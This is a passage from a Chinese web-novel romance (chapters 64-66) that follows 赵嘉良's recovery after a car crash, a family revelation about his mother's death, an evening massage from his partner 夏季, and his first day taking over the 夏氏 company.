王今安追问无果倒是也没生气,“哦,我还想着夏季明天就要去新组报道了。我本来还以为他休假最后一天你俩说什么都要黏糊一整天呢,没想到你” 说着她又摇了摇头,状似无意道,“行吧,既然你不想他担心,那我回头跟夏季说一声,让他今天自己在家里凑合一下,明天直接去上班吧。” “诶,别!”赵嘉良虽然确实有不让夏季担心的念头,但一想到夏季那一开始上班就跟入狱坐牢一样的工作模式,已经渴了连续好几个月的男人其实也是有些绷不住的。“今天的复健做完了我就回去。” 王今安莞尔一下,“可是今天的突发情况我们需要对你做一些更深入的检查。我想,赵总应该不会吝啬于为我国医学技术做贡献吧?” 被她这么戴上高帽子之后,赵嘉良再回到夏园的时候天都已经黑了。 “你这是怎么了?”早上的时候夏季就收到了阿久发来的消息,说赵嘉良今天被医生留下做复查,今晚也不回家。 夏季本来想着下午收拾一下,屈尊去医院陪陪前金主的。但下午王姐又发消息来说“神奇赵狗再创医学奇迹”,下午要把他捉回实验室研究一下,晚点再放回来。 于是夏季只好打消了去医院探望的念头,在自己占地数百亩的花园房子里感受自己积年年假的小尾巴。 等到天黑赵嘉良终于要回来了,夏季本想着跟他一起好好吃顿饭,却没曾想这家伙脸色苍白,整个人格外萎靡不振。 赵嘉良虚弱的摆了摆手,“别提了,你姐真不是人” 且不说复健本就是很耗体力的事情,赵嘉良做完复健之后还被王今安道德绑架的抽了三大管血。再加上各种检查下来,赵嘉良真是觉得自己脱了层皮。 得知这些后,夏季也是二话不说的打了电话给王今安,在确定赵嘉良所说基本属实之后,他是很不客气的跟对方吵了一架。 “有你这么当医生的吗?!”别看夏季平时在王今安面前似乎有种低她一头的乖弟弟模样,但他得理的时候从不饶人。 “于公,赵嘉良刚从植物人状态醒来还没一个礼拜。就算他身体底子好,但身为医生你们也必须考虑他的身体承受能力!于私,赵嘉良是我对象,也算是你的弟媳,你对自己亲戚多照顾一点很难吗?!” 原本觉得自己比窦娥还冤的王今安在听到他的“弟媳”后顿时沉默了,仿佛自己那聪慧的大脑褶皱都被瞬间抚平了一般。 等火气不小的夏季发火结束后,她才缓缓的开口,“抱歉啊,我不知道你们是这种关系。我下次注意,不,一定没有下次了!” 在一旁等开饭的赵嘉良当场惊得站了起来,“宝宝你别瞎说啊!” 但回应他的只有一记凶猛的眼刀。 夏季一手捂住手机,低声道,“你滚去吃饭,我骂完她再来骂你!” 第64章 自从学医之后, 王今安的脾气见长。偶尔跟夏二少吵个架什么的也偶有发生。 不过跟她的脾气跟年岁成正比增长相反的是,小时候在清河村称王称霸的夏季少爷在回到京市之后一下子就沉寂了下来。后面进了科学院,就愈发往沉默稳重那个方向狂奔不回头了。甚至赵嘉良也是跟夏季在一起一两年之后, 才好不容易把老婆养的粘人。 只是 看着还在露台花园跟姐姐发脾气的家伙, 赵嘉良只得叹了口气先去餐厅等着,并不想这时候触他霉头。 “今天晚餐怎么这么丰盛?”虽然夏园的餐食向来都是顶配,夏季一个人在家吃饭的预算都能达到六位数以上。但赵嘉良只是扫了一眼大圆桌上的摆盘就知道, 今天这顿晚餐明显已经远远超过他俩平时在家吃饭的餐标了。甚至比昨天晚上他们单独招待王姐一家,还要多了好几道菜。 赵嘉良不禁咂舌。心道明天阿久那帮人又有口福了,又有不少新鲜的剩菜能吃了~ 亲自负责晚餐的大管家徐叔笑眯眯的将最后一道红枣乌鸡汤端上桌,“这是夏先生今天下午特意叮嘱的, 说您这段时间吃苦了,要给您准备点儿好的, 好好补补。” 说着他还特意压低声音道,“夏少还单独找我问了您平时爱吃什么, 还跟厨师们一起看了老半天的菜谱。除了一半是夏先生他自己爱吃的之外, 另外一半可都是他精挑细选出来, 您爱吃,又有营养,适合您当前身体状况的。” 因为平时两位主人在夏园用餐的时候并不需要准备太多菜, 所以今天夏少突然光临厨房的时候还把昨天刚刚经过一场大战的厨子们给吓了一跳。在得知夏少竟然破天荒的过问起了赵总的饮食,老管家也是有感而发。 “你们总算是有点儿要结婚的样了, 真好啊阿良你也算是熬出来了。” 徐管家是赵嘉良从余家带过来的老人。 他最开始并不是在余家工作的佣人, 而是一位正儿八经的政府公务员。不过他老婆早年是余霜聘请的私人幼教,帮助新手妈妈带孩子,跟余霜相处久了感情很好,后面就跟着喻霜在赵家常住了。后面余霜突然去世, 她担心赵嘉良一个人在赵家会被欺负,便放弃了幼教工作,干起了全职保姆。而她丈夫徐叔又担心妻子一个人在豪门世家里勾心斗角搞不定,便辞了工作一起改了行。 后面赵嘉良拿回赵家后,他出钱给老徐报了个管家培训班,送这位活到老学到老徐叔叔去念了几年书管家专业。学成毕业后正好赵嘉良的人生也开启了求偶的人生新篇章,并为心上人建造了这座夏园。于是当时已经五十多岁的徐叔一毕业,就成了全华国最奢华庄园的首席大管家,让很多跟他同期学习的小同学们艳羡不已。 “徐叔”见他这幅模样,赵嘉良难免觉得有些好笑,“您就别操心了,夏季跟赵锋锐根本没有可比性。哪怕我变成穷光蛋,他也不会嫌弃我的。” 本来这位老管家刚来夏园的时候看着赵嘉良一脉遗传的恋爱脑毛病还是有些担心的,但好在时间长了大家也都能看出来。夏季这人除了外面的名声不太好听之外,其实本人无论是从哪方面来讲其实都是非常优秀的。只除了对赵嘉良不够上心之外。 不过这次车祸事件之后,大家也是看出来了,夏季心中也并非对赵嘉良毫无关爱的。 可能是他习惯了单方面的接受对方的示好和付出,很少作出回应。但真到了需要他付出的时候,夏季其实并不会像有些人担心的那样撂挑子跑路。所以相较于阿久这种直接由赵嘉良开工资的手下来说,徐叔其实对于他将所有资产全部交到夏季手中并没有太多的担忧。老一辈的男人反而认为:“家里所有的钱都要交给老婆”的这种安排是理所当然的,既然决定要结婚了,那阿良把钱都给夏季很正常。 “我知道,夏季是个好孩子,以后有他照顾你我也放心了。”老管家给他盛了一碗汤,“夏季呢?厨房煲汤的时候他就说有点饿了,怎么还不来吃饭?” “额”赵嘉良抹了一把额角并不存在的汗,低声说,“徐叔您先去休息吧,他打电话呢,一会儿就来了。” 夏季把王今安数落了一通之后,对方的认错态度倒是十分良好,还说改天要单独请他们吃顿饭。 平复心情后,夏季也没忘记询问了一番赵嘉良的身体情况。 “说吧,抽了那么多血做了那么多检查,得出了什么结论?”刚刚赵嘉良进门的时候夏季只觉得他跟前两天看着有些不同了,但由于他苍白的脸色太过于显眼,夏季当时没多想就直接问了。 电话那头的王今安嘿嘿一笑,“下午刚抽的血,哪有那么快出结果。不过现在我唯一可以告诉你的,赵狗的身体素质简直是超人那一挂的,我们整个团队都坚信,他一定能痊愈的!” 她的这个回答显然并不能令患者家属满意,“他身体素质好不好我还用问你吗?” “那是,你老婆的身体情况你最清楚。”电话那头的女人揶揄笑着,“不过你家赵狗确实挺吃心态的,给人稍微刺激一下神经活动挺敏感的。这不面瘫一下子好了一大截?” “我建议你平时有空的话可以从多方面刺激刺激他,说不定能让你老婆好更快哦。” 虽然王今安这话说的怎么听怎么不对劲,但出于某些方面的考虑,夏季硬是梗着脖子听她说完了,没有打断纠正她…… 等结束通话来到餐厅的时候,夏季发现那个大高个儿正跟个乖巧小学生似的端坐在餐厅的圆桌旁。 “怎么不吃?不合胃口吗?”随手把手机放在桌边,夏季盯着他那张熟悉的俊脸十分认真的问。 “在等你。”男人笑了笑,有点儿眉眼弯弯的意思。 赵嘉良这人的皮相生的足够英俊,但因为棱角过于锋利和久居高位的气质,会让他在不笑的时候给人一种很凶的感觉。但是他一旦真心实意的笑起来时,却会给人一种如沐春风的俏皮讨喜之感。夏季觉得,这是因为赵嘉良笑起来的时候会自然而然的有些眼角下垂,傻笑的时候咧着嘴的模样神似一只大金毛。 只是他这熟悉的笑意让夏季有一瞬间的晃神。 “你会笑了。”夏季微凉的掌心就这么猝不及防的贴在了男人的脸颊,“你的面瘫好了?” 赵嘉良被他冰的一个激灵却并没有躲。 他叹了口气,反手握住对方的手,“托老胡的福,好了一半。” “哦?他跟你说什么了?”夏季一挑眉,显然是对这个话题有点兴趣。 赵嘉良眼神闪烁了一瞬,“其实也没什么,就是关于赵天生精神鉴定的事情” 回国探亲的朱敏小姐姐也是哔了狗了。 她以为只是跟老同学请自己吃顿饭,帮点小忙,结果一不小心就把自己干进了某不得了单位。如今她人已经进去三天了,现在还没放出来。但不得不说相比一些混文凭的留子相比,这位名校博士生明显是有些真本事的。 她才跟老胡“接头”三天,还真给老胡鼓捣出了一些有用信息。正好夏季又跟他说赵嘉良“想他”了,老胡便顺水推舟的去医院探望了一番。谁曾想,这位在京圈商界叱咤风云的赵总心理素质这么差,自己不过是跟他同步了一些情报后,他还自己把自己给气得不轻。饶是见多识广的老胡当时都被他吓了一跳,生怕自己一个不小心把这位对华国科学界贡献不小的“爱国商人”给气死了。 不过好在他们人就在医院里,医护人员赶来的及时,没一会儿就把赵嘉良又给整活过来了。 可夏季显然对他的说辞并不相信,他一挑眉,“哦?只说了赵天生的事情吗?” 其实赵天生那事儿并不难查,再加上夏季之前也跟他说的很清楚了,夏季并不相信就老胡补充的那么点儿内容能把赵嘉良刺激的面部神经功能紊乱,然后碰巧因祸得福,脸能作出表情了。 “好吧。”赵嘉良知道这种事情瞒不了夏季,也没必要瞒着夏季。 只是他在那一瞬并不知道要如何讲述罢了。 “老胡说你姐姐她们介绍的那位女博士非常牛逼,很快找到了国外那个冷门致幻剂的分子式,然后在国内药师的帮助下已经给赵天生恢复了神志。”也是到了这个时候老胡他们才知道,原来赵天生在参与进对方谋划好的计划时并不知道这个国外实验室制造的药物原来致死率那么高。 “赵天生这小子也是小说动画片看多了,还以为那药跟假死药差不多。吃了就能变神经病,然后吃了对应的解药之后就能恢复正常。其实那帮人之所以会选择这个药,根本就是在赌赵天生活不了。”可偏偏赵炳锐和赵天生两个蠢货还以为这是那帮人为他们量身打造的,能够完美逃避法律制裁的方法。 毕竟在他们看来只要境外方能够顺利的撞死赵嘉良,那么父母双亡,未婚无子的赵嘉良名下所有资产自然就会由他唯一的弟弟赵天生继承。在这样巨大的利益诱惑下,哪怕风险再大他们也不可能退缩。 甚至动手之前他们还盘算过,他们准备等赵嘉良死了之后,把夏季从赵嘉良那儿捞来的钱想办法要回来。至于已经花掉要不回来的部分,他们可以把赵嘉良养的这只虽然年纪大了点儿,但依然貌美如花的金丝雀再转卖个好价钱。毕竟夏季这人虽然当时名声一般,但美却是真的美。光是“京圈第一金丝雀”的名号摆在那儿,不愁销路。 可等到消息传回来说赵嘉良没死,只是被撞成植物人后赵天生他们还有些失望。他们本希望通过亲属身份作为赵嘉良的第一监护人,一鼓作气赶紧找机会把他弄死。可偏偏夏季的动作快到让他们连见缝插针的机会都没有。 几乎是赵嘉良出事后的不到半个小时之内,赵天生就被警方控制了。甚至警察破门而入的时候他连发个消息出去的时间都没有,只得赶紧吃了药,然后就脑子一片浆糊,疯疯癫癫的直到现在了。 “赵天生不是个硬骨头的人,进了老胡他们单位,该招的不该招的,统统都招了。”而其中有一件赵嘉良根本想不到,也根本接受不了的事情。 “夏季,我妈妈不是病死的。” 第65章 赵嘉良的母亲余霜死于乳腺癌。 “我那时候年纪小, 对癌症没什么概念。”赵嘉良小时候是那种典型的没心没肺的混不吝小孩。 而余霜刚生病的时候因为发现及时,病情控制的其实还可以,所以他刚得知这事儿的时候家人们表现的都还挺淡定, 他也没放在心上。 只是病, 跟患者的情绪关系很大。 那时候的赵氏在赵锋锐多年吸老婆娘家血的供给下已经发展起来,不那么刚需余家帮扶了。有钱了的赵锋锐整个人也就跟着飘了起来,他趁余霜重病, 原本还有所遮掩的养外室行为也变得嚣张起来。 在他明目张胆的带着小三私生子们登堂入室后,余霜这种恋爱脑的女人自然是歇斯底里的跟他们撕的厉害。甚至赵嘉良至今还清晰的记得,赵锋锐最过分的时候,甚至带着他的那个小三住在他跟母亲婚房的卧室里。而三个人的卧室还是太拥挤, 要不是赵嘉良从小块头大又特别能打,才没让她被欺负的太狠。 事实上在赵嘉良的印象中, 那段时间母亲整夜流泪,头发也大把大把的掉。原本控制的还算可以的病情也一下子飞快垮掉了。每次陪她去看医生的时候, 医生都劝她放宽心, 什么事情都没有自己的身体健康重要。但已经情绪入脑, 旁人怎么说怎么劝都没用。 “呵,以你对你亲爹的认识,这很难接受吗?”夏季嗤笑了两声。不过他旋即发现自己这个反应似乎显得有点过于冷酷无情, 于是还轻轻拍了拍他的手臂以示安抚,“当然, 至少他的行为只是缺德, 并不违法。你再想想我爸的死法,是不是好受多了?” 赵嘉良低笑了两声,“宝贝,听了你的安慰我心里一下子舒服了很多。” 毕竟以顶级恋爱脑的脑回路来看, 能跟恋人有就类似的人生经历又何尝不是一种缘分呢? 夏季强忍着骂他一顿的冲动,反手在他脑门儿上敲了一下。倍儿响。 “吃饭!” 有的糟心事儿一旦跟亲近之人说开之后,心结就会骤然解开不说,还能就此事细细的分析复盘一番。 而余霜的死,其实真正归咎起来就是赵锋锐故意气她的结果。而在余霜去世前的治疗中,赵锋锐作为她的法定丈夫,是拥有比父母更高的治疗决策权,更何况余霜早年就因为执意下嫁赵锋跟父母闹的很不愉快,后面为了帮丈夫发展赵氏更是坑了爹妈不少,闹到几乎不来往。因此她的早逝注定是命中注定的结局。毕竟那个能在她病重事决定是否要拔管的人,就是这个世界上最希望她早点死的人。 夏季这贫瘠的人生经历,让他注定没有什么高雅的个人爱好。 除了沉迷天文,从小喜欢上学立志当科学家之外,夏季唯二的兴趣爱好,一个是吃,一个是睡。因此他休假在家的时候如无特殊必要,他一定是要睡到日上三竿的。 中午快12点了才把早午饭一起吃上的夏季其实下午早早的饿了,只是这么长时间没有好好跟赵嘉良一起吃饭了,他不想在这个略有些意义的日子里一个人吃独食。 被折腾了一整天的赵嘉良跟他情况差不多,两人边吃边聊天,难免就说到了工作问题。 夏季这时候对于被组织发配去种地已经完全接受,没有任何怨言了,甚至赵嘉良在跟他谈起这事儿的时候,他的语气里还带着一丝丝的雀跃。 “王老说如果月壤实验能够取得成功,下一期的航天计划会加入科研人员。” “真的?!那不是要上天?”赵嘉良也是小小的吃了一惊。 虽说夏季的工作内容他没敢细问,但大概方向倒不是秘密。赵嘉良忽然就坐直身子,“那明天我就去夏氏吧,赶紧熟悉一下公司情况,抓紧挣钱!” 毕竟按照他跟科学院签署的长期捐赠合同,每年的任务可都不轻呐。 夏季也是难免心生向往,破天荒的跟赵嘉良多说了几句,“我今天下午特地去打听了,月壤实验室那边大多是从农学院借调过来的老学究。他们在实验室里鼓捣就差不多了,年纪大了身体素质不行。 说着他给自己碗里夹了一大堆蔬菜,喃喃道,“我是不是也该考虑健身了” 赵嘉良是有健身的习惯的,但夏季没有。 他平时光上班就上的昏天黑地,不知今夕是何年了,哪里有时间抽空去干别的?倒是赵嘉良觉得适当的运动有助于他保持头脑清醒,至于夏季的那点运动量,都贡献在了床上才是最好的~ “那晚上我们好好运动一下。”赵嘉良大口吃肉,理直气壮的提议。 这平平无奇的对话,夏季仿佛听出了他的言下之意。他上下打量,扫视了一番,“今天晚上?你能行吗?” 要知道赵嘉良昨天出门的时候走路都费劲呢,上车去医院复健的时候甚至夏季还亲自搭了把手。同为男人,他有充分的理由相信赵嘉良目前的身体状态“不太行”。 “我行!”可被对象质疑不行,无疑是戳中了某位雄性的骄傲心思。 说罢他三两口扒完碗里的饭,“我吃好了!我现在去洗澡!” 看着对方快把轮椅抡冒烟的背影,夏季只觉得有点好笑。 等到他慢条斯理的吃完饭,已经飞快洗漱完毕的赵嘉良正站在二楼的围栏边,居高临下的指使佣人们打包吃剩的晚餐。 赵嘉良洗澡的时候才想起来,这是十指不沾阳春水的夏少爷第一次亲自过问自己的饮食。可自己却为了赶紧证明自己“非常行”,而没有好好品味对方的关心,这让他难免有些懊恼。 不过这时候再跑下去吃两口显然不太现实,赵嘉良决定明天去夏氏的时候顺便打包过去当午餐。 夏季看他走路虽然依然不利索,但明显比前两天好些的姿态,倒是笑了一下。 “夏先生,您要的东西。”老管家适时走了过来,一盒东西交到他手上。 “多谢。”夏季打开看了一眼,转身上楼去了。 本来夏季工作忙,两人平时聚少离多的,让赵嘉良都已经习惯抓紧一切机会创造二人世界。那该死的车祸让他少了很多跟老婆“床上锻炼”的机会!因此夏季进门的时候赵嘉良已经连不正经的衣服都换好了。 “你手里拿的什么?”夏季进门的时候赵嘉良正站在他们卧室里那张尺寸惊人的大床前捶他不中用的腿。 夏季冲他挑了挑下巴,“给你按摩的。去,把你那骚包衣服脱了,去床上趴好。” “啊这”赵嘉良迟疑了一瞬还想挣扎,不过在收到夏季不善的目光后,他还是颤颤巍巍的努力把衣服脱掉,然后一咬牙,一闭眼,趴在了床上。 这次他想象中的冰凉并没有到来,反而是对方温软的掌心裹挟着一阵香风袭来,让人没由来的感到一阵温暖。 “这什么东西?好好闻。”赵嘉良稍稍调整了一下姿势,舒服的眯起了眼睛。 这并不是他第一次被夏季温柔的抚摸身体,但这种不夹杂任何暗示意味的抚摸却让赵嘉良有种由内而外的快乐。 夏季一边将手上的药膏在他后背抹匀一边说,“王姐找熟人拿的一个按摩膏,说是每天按一下,对你这种外力导致的末梢神经损伤有好处” 一辈子没伺候过人的夏季还是拿到东西之后才临时抱佛脚学的按摩手法。好在夏博士学习能力出众,很快就掌握了正确的按摩手法。只是这理论知识轮到真人实操的时候,他做的还是有些没把握。 “这个力道行吗?”夏季有些不确定的问。 “你我感觉有点儿轻。”赵嘉良本来脱口而出是想说“你晚饭没吃饱吗”,还好话到嘴边转弯了,不然肯定少不了一顿毒打。 而这样温馨宁静的氛围,是往常总是匆匆忙忙直奔主题的他们很少有机会体验的。 夏季几次加重了力道,在得到对方合适的回应后,额角已经有些细汗了。 作为长期在实验室里拉报表盯数据的研究员,他在某些方面确实不及赵嘉良顶用。但得知要给赵嘉良做按摩的时候,夏季当时也说不清是个什么心理,就是果断拒绝了医生推荐的按摩师,表示想要自己亲自来。 当然,患者家属为了节省费用选择自己按摩并不是什么罕见或难度很高的事情,所以医生也没说什么。 可当夏季自己上手之后,没一会儿就觉得有些累了。 对他体力有着充分认知的赵嘉良在床上趴了十几分钟就有些按捺不住了。只可惜受限于人类脖子的长度,就着这个姿势他并不能回头看清夏季的脸,反而因为扑腾动作太大,后背重重的挨了一巴掌。 “宝贝我不是想乱动,我只是担心你会不会累到。” 夏季闷闷的笑了一下,“我好歹也是个身体健康的成年男性,十几分钟的耐力都没有吗?” 赵嘉良张了张嘴,最后选择换了个话题,“明天你要回去上班了吧,明天的按摩师找好了吗?” “找好了。”夏季的气息有些不稳,但说出来的话却很让赵嘉良心安,“明天也是我。我跟院里申请了走班,反正被调到月壤实验室那边了。农科院的那帮老头老太太都是朝九晚六,作息养生的主。我跟着一起正常上下班就好。” 赵嘉良心头一喜。 这可以说是近些年来他听过的最好的消息了!之前夏季的那学习和工作,真的跟坐牢没什么区别了~ 见他高兴的直蹬腿,夏季也是笑了。 “阿良,你真的不会后悔吗?”夏季又按了一会儿,忽然说,“孤注一掷的走上跟你妈妈一样的老路,你不怕输的跟她一样惨吗?” 第66章 “我为什么要怕?你会让我输吗?”男人的声音慵懒中带着一丝笑意, “宝贝,但凡聪明一点的人都懂得从前人身上吸取教训。我从咱爸妈身上吸取的教训融汇贯通之后,我对我们的爱情很有信心。” 虽然赵嘉良没有回头, 但夏季已经完全能够想象的出, 此时这个男人脸上挂着的是多么欠揍的笑容。 “嘶~”赵嘉良话音刚落,就被辛苦给自己按摩的夏季重拳出击锤了一下。夏季这一下可是没有收着力气的,赵嘉良疼的小幅度的挣扎了一下。不过以他多年跟夏季打闹的经验来看, 如果他反抗的太厉害只会让对方更生气,下手更狠,所以这时候他几乎是他条件反射似的缩了一下,然后便释怀似的如同一条大号咸鱼趴的更平了。 夏季被他挨打多了之后整出来的条件反射逗笑了。 他收着力气又给了他后背一巴掌, “你从谁爸妈身上吸取的教训?那是你爸吗你就喊?” 关于夏听风,夏季对他的情感很复杂。 从绝对理智的角度来看, 夏季其实很难对一个从来没有见过面的陌生父亲产生任何一种爱恨的情绪。但这位如今已经死了十几年却依然闻名京圈,甚至因为喻馨那过于超标的知名度, 以至于夏听风作为案子中的绝对男主角也在死后跟着名声大噪了起来。而非常可惜的是, 夏听风虽然名义上有三个儿子, 可无论是他不闻不问的亲生儿子,还是他真心疼爱的大侄子都没有维护其哀荣的意义和立场。 赵嘉良轻笑了两声,“你爸就是我爸啊。我知道你对夏听风有意见, 但他除了跟我妈一样过于恋爱脑之外其实也没做错什么。” 即使明知道死路一条,却还义无反顾的走了下去。从某些方面来说, 明知道喻霜要自己的命却依然吃下毒药的夏听风, 跟很清楚丈夫已经移情别恋,巴不得除掉自己却依然孤注一掷将性命交到对方手中的余霜都属于有点病的。 这不是嘲讽,是邹柔柔说的。他们的行为映射出的是一种病态的心理,得进行系统性治疗。 “我觉得纯爱战神不是什么丢人的名号。”赵嘉良稍稍调整了一下姿势, 用拳头抵着下巴嘟囔着说,“而且咱们爸妈他们是遇人不淑,碰到的全是奔着钱来的。可我不是,我除了钱之外什么都不如你。说到底,我才是高攀的那个” 赵嘉良这说的可是大实话。 虽然在很多外人眼中即使如今夏季洗脱了“金丝雀”的名号,是赵嘉良承认的,以结婚为目的交往的正儿八经的男朋友。但在夏季收到夏燃“慷慨给予”的夏氏股份,和赵嘉良以全副身家作彩礼之前,绝大部分人依然坚定的认为夏季跟着赵嘉良一定是奔着他的身家去的,绝大部分人都觉得他们之间一定是夏季舔着赵嘉良,凭借年轻貌美才成功上位的。 但那些真正懂行,尤其是知道赵氏业务内容和收益构成的内行就会明白,科学是第一生产力永远是亘古不变的真理。 夏季不仅长得美,他手里那热乎乎的科学院资源。身为德高望重的王院士退休前的最后一位关门弟子,夏季就是没有赵嘉良的金钱加持他在科学院里也不可能混的太差。更何况赵嘉良最开始执掌赵氏的时候他也只是有钱,却还不至于把公司发展到材料行业一家独大的份上。毕竟赵嘉良刚整合赵家和余家的时候,他就是想跟王院士见一面都难。哪里像现在,他都能去人家院士家里连吃带拿的了。 院士的关门小徒弟调整了一下姿势继续给他按。 赵嘉良趴在床上眯着眼睛舒服的直哼哼。 “你什么时候学会的这手艺?花了不少功夫吧?”当然,作为一个非常擅长提供情绪价值的好男友,赵嘉良也会在对方卖力的时候想方设法的夸夸。 “没学多久,很简单,看看就会了。”夏季一边给他按着一边说。 话虽这么说,但毕竟按摩的时长和力道都摆在那里,这种力气活儿对夏季这种常年呆实验室的还是有些勉强。中间赵嘉良几次想让他休息一会儿,或者不用按那么久,都被夏季拒绝了。 “我思考过了,既然我想争取月壤实验室的上天名额,锻炼身体肯定是必不可少的。”夏季受王静女士的影响显然是远大于她亲女儿王今安的,酷爱天文的人一旦有机会,那必然会不惜一切代价抓紧的。夏季从听闻消息的第一天开始就已经做好了一切心理准备。 听他这么说,赵嘉良也就不再劝了。毕竟这条路不好走,他就算帮不上忙也不至于拖后腿。而身体素质过硬,这恐怕是个人就能想到的重点。 “那要不明天开始你跟我一起健身呗。”赵嘉良嘟囔了几句。 不过被爱人温暖的手在身上按来揉去的,他都有点儿犯困了。后面夏季怎么回答的赵嘉良没有听清,不过大概意思应该是拒绝了。 夏季总是拒绝他,无论大事小事,被拒绝多了之后赵嘉良也都习惯了。他昏昏沉沉的应了两句,便渐渐在这温暖且馥郁芬芳的氛围中失去了意识,全然忘记了自己在进卧室之前是如何踌躇满志的要证明自己“非常行”的~ 赵嘉良的这一觉睡的很沉。 直到第二天生物钟将他唤醒,他才意识到自己昨天被夏季按的太舒服,直接趴床上睡着了! 等他赶忙坐起来,摸了摸大床空旷的另外一半,只留一丝余温。 赶紧从床上爬了起来,可惜赵嘉良错过了清晨早起跟爱人贴贴的机会,夏季因为起晚了担心销假后的第一个工作日就迟到,叼着一片吐司面包身上披着歪歪扭扭的白大褂正往门外冲。 “夏季!”赵嘉良身上还穿着昨晚侍寝时精挑细选的睡衣,如果不是腿脚不给力,他真想冲上去要个亲亲再放他走。 可现实是正在下楼的夏季大步流星,只是抬首看了他一眼,然后冲他敷衍的挥了挥手就头也不回的走了。 看着他远去的匆忙背影,赵嘉良趴在二楼的雕花栏杆边,满心惆怅。 “赵总,您现在洗漱需要帮忙吗?”满头白发的老管家适时的出现,贴心的为家主人提出建议,“别看了,夏先生已经把年假全部用完了。人活着,总是要上班的。您今天还要去夏氏视察工作,跟夏总做交接呢,可不能迟到呢。” 赵嘉良看了一眼身后墙上的挂钟,已经快八点半了。 按照他之前跟夏燃约好的九点半,他再不抓紧恐怕要迟到了。 “我好差不多了,自己能行。”刚醒来的时候赵嘉良确实上厕所都要人扶着。不过他自己复健的足够努力,在身体底子好和医护人员足够用心的共同作用下,他除了身体反应不够灵活之外已经完全可以生活自理了。 只是望着爱人早已消失不见的背影,赵嘉良是真惆怅啊~他昨天晚上怎么就那么没用,明明气氛那么好,夏季也难得的表现出温顺体贴的模样,自己你怎么就偏偏在关键时刻睡着了呢?! “他起床没叫我,是对我的报复吧。”赵嘉良叹了口气,“我刚刚喊他,他只回了个头,连应个声跟我道个别都不愿意。” 徐管家嘴角微抽,“夏先生手上在套工作服,嘴里叼着吐司,张嘴会掉。” “好了赵总,您今天也该开始干活了。车子已经给您安排好了,赶紧洗漱更衣去上班吧。” 夏氏的股权变更是件大事。 作为股份制公司,这种大事件对于其他股东来说肯定是心理没底的。即使夏季现在在圈内的形象一下子高大了不少,但喻馨这么多年在夏氏内部反复灌输的理念一时半会儿还是很难转变。尤其是在听闻夏季收到赵嘉良的“彩礼”之后在赵氏的作威作福,把好好一家大公司整的怨声载道,人心惶惶后,夏季这边的普通员工们也难免有些心有余悸。 不过在得知夏氏最大股东身份变更之后,实际的公司管理人并不是夏季本人,而是他的未婚夫,曾经的赵氏老板赵嘉良后,夏氏上下才稍稍松了一口气。 只是这位夏氏未来主理人在第一次来公司的啥时候就迟到了。 作为曾经的夏氏老板,如今的甩手掌柜,高家上门女婿夏燃今天一早就召集了夏氏管理层在大会议室里候着了。 他烦躁的看了好几次表,然后转头向秘书询问,“确定跟赵总定好的时间是早上九点半?” 赵嘉良这人在商场的名声虽然不怎么样,但那大多是真的他跟亲爹斗法时丝毫不顾年亲情处处下死手的狠辣手段。但仅从谈生意的角度来说,但凡跟赵嘉良合作过的生意人都对他没什么太大意见。做事抓的住重点,遵约守信,就可以被称为是个好合作伙伴了。 都在一个圈子里夏燃此前虽然跟赵嘉良关系略显微妙,但难免也是打过不少交道的,他此前还从未听说过赵总会在重要事宜上迟到。 “去给赵嘉良的秘书打个电话,问问他们到哪儿了。”夏燃本人是很看重守时这一行为的,赵嘉良今天的表现无疑是让他很不高兴了。 他的秘书动作很快,不到三分钟就捧着手机回来了。 “赵总说已经到楼下停车场了”秘书的表情略显尴尬,“但是咱们公司的停车场没有无障碍通道,赵总坐轮椅过来不太方便,他今天过来就带了一个女秘书一个男助理,他们俩搬轮椅搬了半天,让咱们稍等,马上就能上电梯了。” 结果就是夏氏高层一大群人等了接近半个小时,最后迟到那位终于到场后夏氏的那帮人反而成了要主动道歉的那位。 “抱歉,公司虽然有残障工位,但夏氏的残障工作大多是听障人士,没有专门优化无障碍设施。”夏氏的后勤部负责人满头大汗。 夏燃蹙眉道,“我听说你的身体恢复的很快,早就能站起身了,怎么今天还要人抬轮椅?” 夏燃倒不是怀疑赵嘉良故意迟到,只是担心他情况恶化。夏季那人做事有时候很情绪化,赵嘉良要是跟自己在一起的时候出了什么问题,在自己还有求于他的情况下真的很难交代啊 赵嘉良微微一笑,说谎脸不红心不跳,“哦,我最近复健用力过猛,医生让我这段时间能坐着尽量别站着。” “嗯”夏燃虽然觉得哪里不对劲,但也并未多想,只是在客套的询问过他的身体情况之后,便开始了今天正式启动的交接工作。 别看赵嘉良把赵氏股份全部当彩礼送夏季之后他看似身价暴跌,但夏季本人并不参与公司经营,赵嘉良在赵氏的职位不变,但按照他的风格,夏氏迟早也要落到他手里。 因此,夏氏的高层此时看待赵嘉良其实也就跟自己未来的新老板没什么区别,再加上夏燃事先已经敲打提点过所有人了,后续的交接工作进行的一切顺利。但即使如此,一家成熟大公司的权柄交接也是个复杂且长期的过程。赵嘉良开始接手第一天就不可避免的小小加了个班。 等到结束一天的工作,如果是按照往常惯例赵嘉良是应该请夏燃吃个饭的。 但夏燃的心思显然不在应酬上,深知其中内情的赵嘉良看他那副模样甚至连口都懒得开。 “看你归心似箭的样子,我就不跟你客套请你吃饭了。王姐的朋友那边有专家门路,不过那个退休老教授不在一线干了,比较难约。等她们那边约好了我再通知你。”赵嘉良说这话的时候,夏燃的眼睛明显亮了一下。 不难看出,他对自己的妻子是真心爱护,是真爱。 跟夏燃告别之后,赵嘉良松了松领带苦笑了一下。 他虽然没有见过夏燃的亲生父亲,那位传说中让喻馨忍辱负重多年的白月光。但从旁人都说夏燃的性情跟夏听风是一模一样的,甚至连这个“恋爱脑”的毛病也跟夏听风一样。但比夏听风幸运的是,夏燃钟爱的那个女人是个值得他奋不顾身付出一切的世家贵女。高嘉丽虽然容貌在圈内不算顶尖,但她的品性才能跟她那位铁窗泪的婆婆相比,无疑是一个天上一个地下。 “呵,可惜夏季不是在夏听风膝下长大”不然那位把他也养成夏燃这种恋爱脑多好,自己也就不用时常担惊受怕,惦记着到嘴的美人跑了。 工作日的晚高峰交通状况是很差的。 赵嘉良到家的时候早已是月明星稀之刻,他刚进大门徐管家就立刻迎了上来。 见老头子眉头紧锁双唇紧抿的模样,赵嘉良心里咯噔一下。按照经验来看,家里的那位祖宗显然是比自己回的早,且心情不佳。 “什么情况?”赵嘉良用超低音连着小心翼翼的跟徐叔比划着。 老管家一脸苦相,“我按照您今早的吩咐给夏先生安排了经验丰富的健身教练,还准备重新订购一批更适合夏先生情况的健身器材。但今天夏先生五点多就下班回来了” 要知道夏季是最喜欢上班的人了,他能这么早下班回家,赵嘉良可不会自作多情到这位大爷是因为思念自己才尽早回来的。 